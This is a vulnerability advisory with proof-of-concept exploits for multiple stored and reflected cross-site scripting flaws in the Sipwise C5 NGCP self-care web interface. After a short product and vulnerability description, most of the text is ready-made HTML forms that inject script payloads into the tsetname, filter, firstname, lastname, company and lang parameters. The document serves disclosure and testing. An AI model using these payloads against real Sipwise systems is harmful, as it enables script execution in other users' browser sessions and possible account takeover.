Sipwise C5 NGCP CSC - 'Multiple' Persistent Cross-Site Scripting (XSS)









# Exploit Title: Sipwise C5 NGCP CSC - 'Multiple' Stored/Reflected Cross-Site Scripting (XSS)
# Date: 13.04.2021
# Exploit Author: LiquidWorm
# Vendor Homepage:

Sipwise C5 NGCP CSC Multiple Stored/Reflected XSS Vulnerabilities

Vendor: Sipwise GmbH
Product web page:
Affected version: <=CE_m39.3.1
                  NGCP www_admin version 3.6.7

Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide
rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,
conferencing etc.) that can be configured by end users in the self-care web interface.
For operators, it offers a web-based administrative panel that allows them to configure
subscribers, SIP peerings, billing profiles, and other entities. The administrative web
panel also shows the real-time statistics for the whole system. For tight integration
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Desc: Sipwise software platform suffers from multiple authenticated stored and reflected
cross-site scripting vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in context of an
affected site.

Tested on: Apache/2.2.22 (Debian)
           Apache/2.2.16 (Debian)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2021-5648
Advisory URL:



Stored XSS (POST tsetname):

    <form action="" method="POST">
      <input type="hidden" name="tsetname" value=""><script>confirm&#40;251&#41;<&#47;script>" />
      <input type="hidden" name="subscriber&#95;id" value="401" />
      <input type="hidden" name="x" value="90027" />
      <input type="hidden" name="y" value="&#45;1" />
      <input type="submit" value="Go for callforward" />

Reflected XSS (GET filter):

    <form action="" method="GET">
      <input type="hidden" name="filter" value='"><script>confirm(251)</script>' />
      <input type="hidden" name="x" value="0" />
      <input type="hidden" name="y" value="0" />
      <input type="submit" value="Go for addressbook" />

Stored XSS (POST firstname, lastname, company):

    <form action="" method="POST">
      <input type="hidden" name="firstname" value='"><script>alert(251)</script>' />
      <input type="hidden" name="lastname" value='"><script>alert(251)</script>' />
      <input type="hidden" name="company" value='"><script>alert(251)</script>' />
      <input type="hidden" name="homephonenumber" value="1112223333" />
      <input type="hidden" name="phonenumber" value="3332221111" />
      <input type="hidden" name="mobilenumber" value="" />
      <input type="hidden" name="faxnumber" value="" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="homepage" value="" />
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="x" value="89957" />
      <input type="hidden" name="y" value="21" />
      <input type="submit" value="Go for addressbook 2" />

Reflected XSS (GET lang):

    <form action="" method="GET">
      <input type="hidden" name="lang" value="en'-alert(251)-'ZSL" />
      <input type="submit" value="Go for statistics" />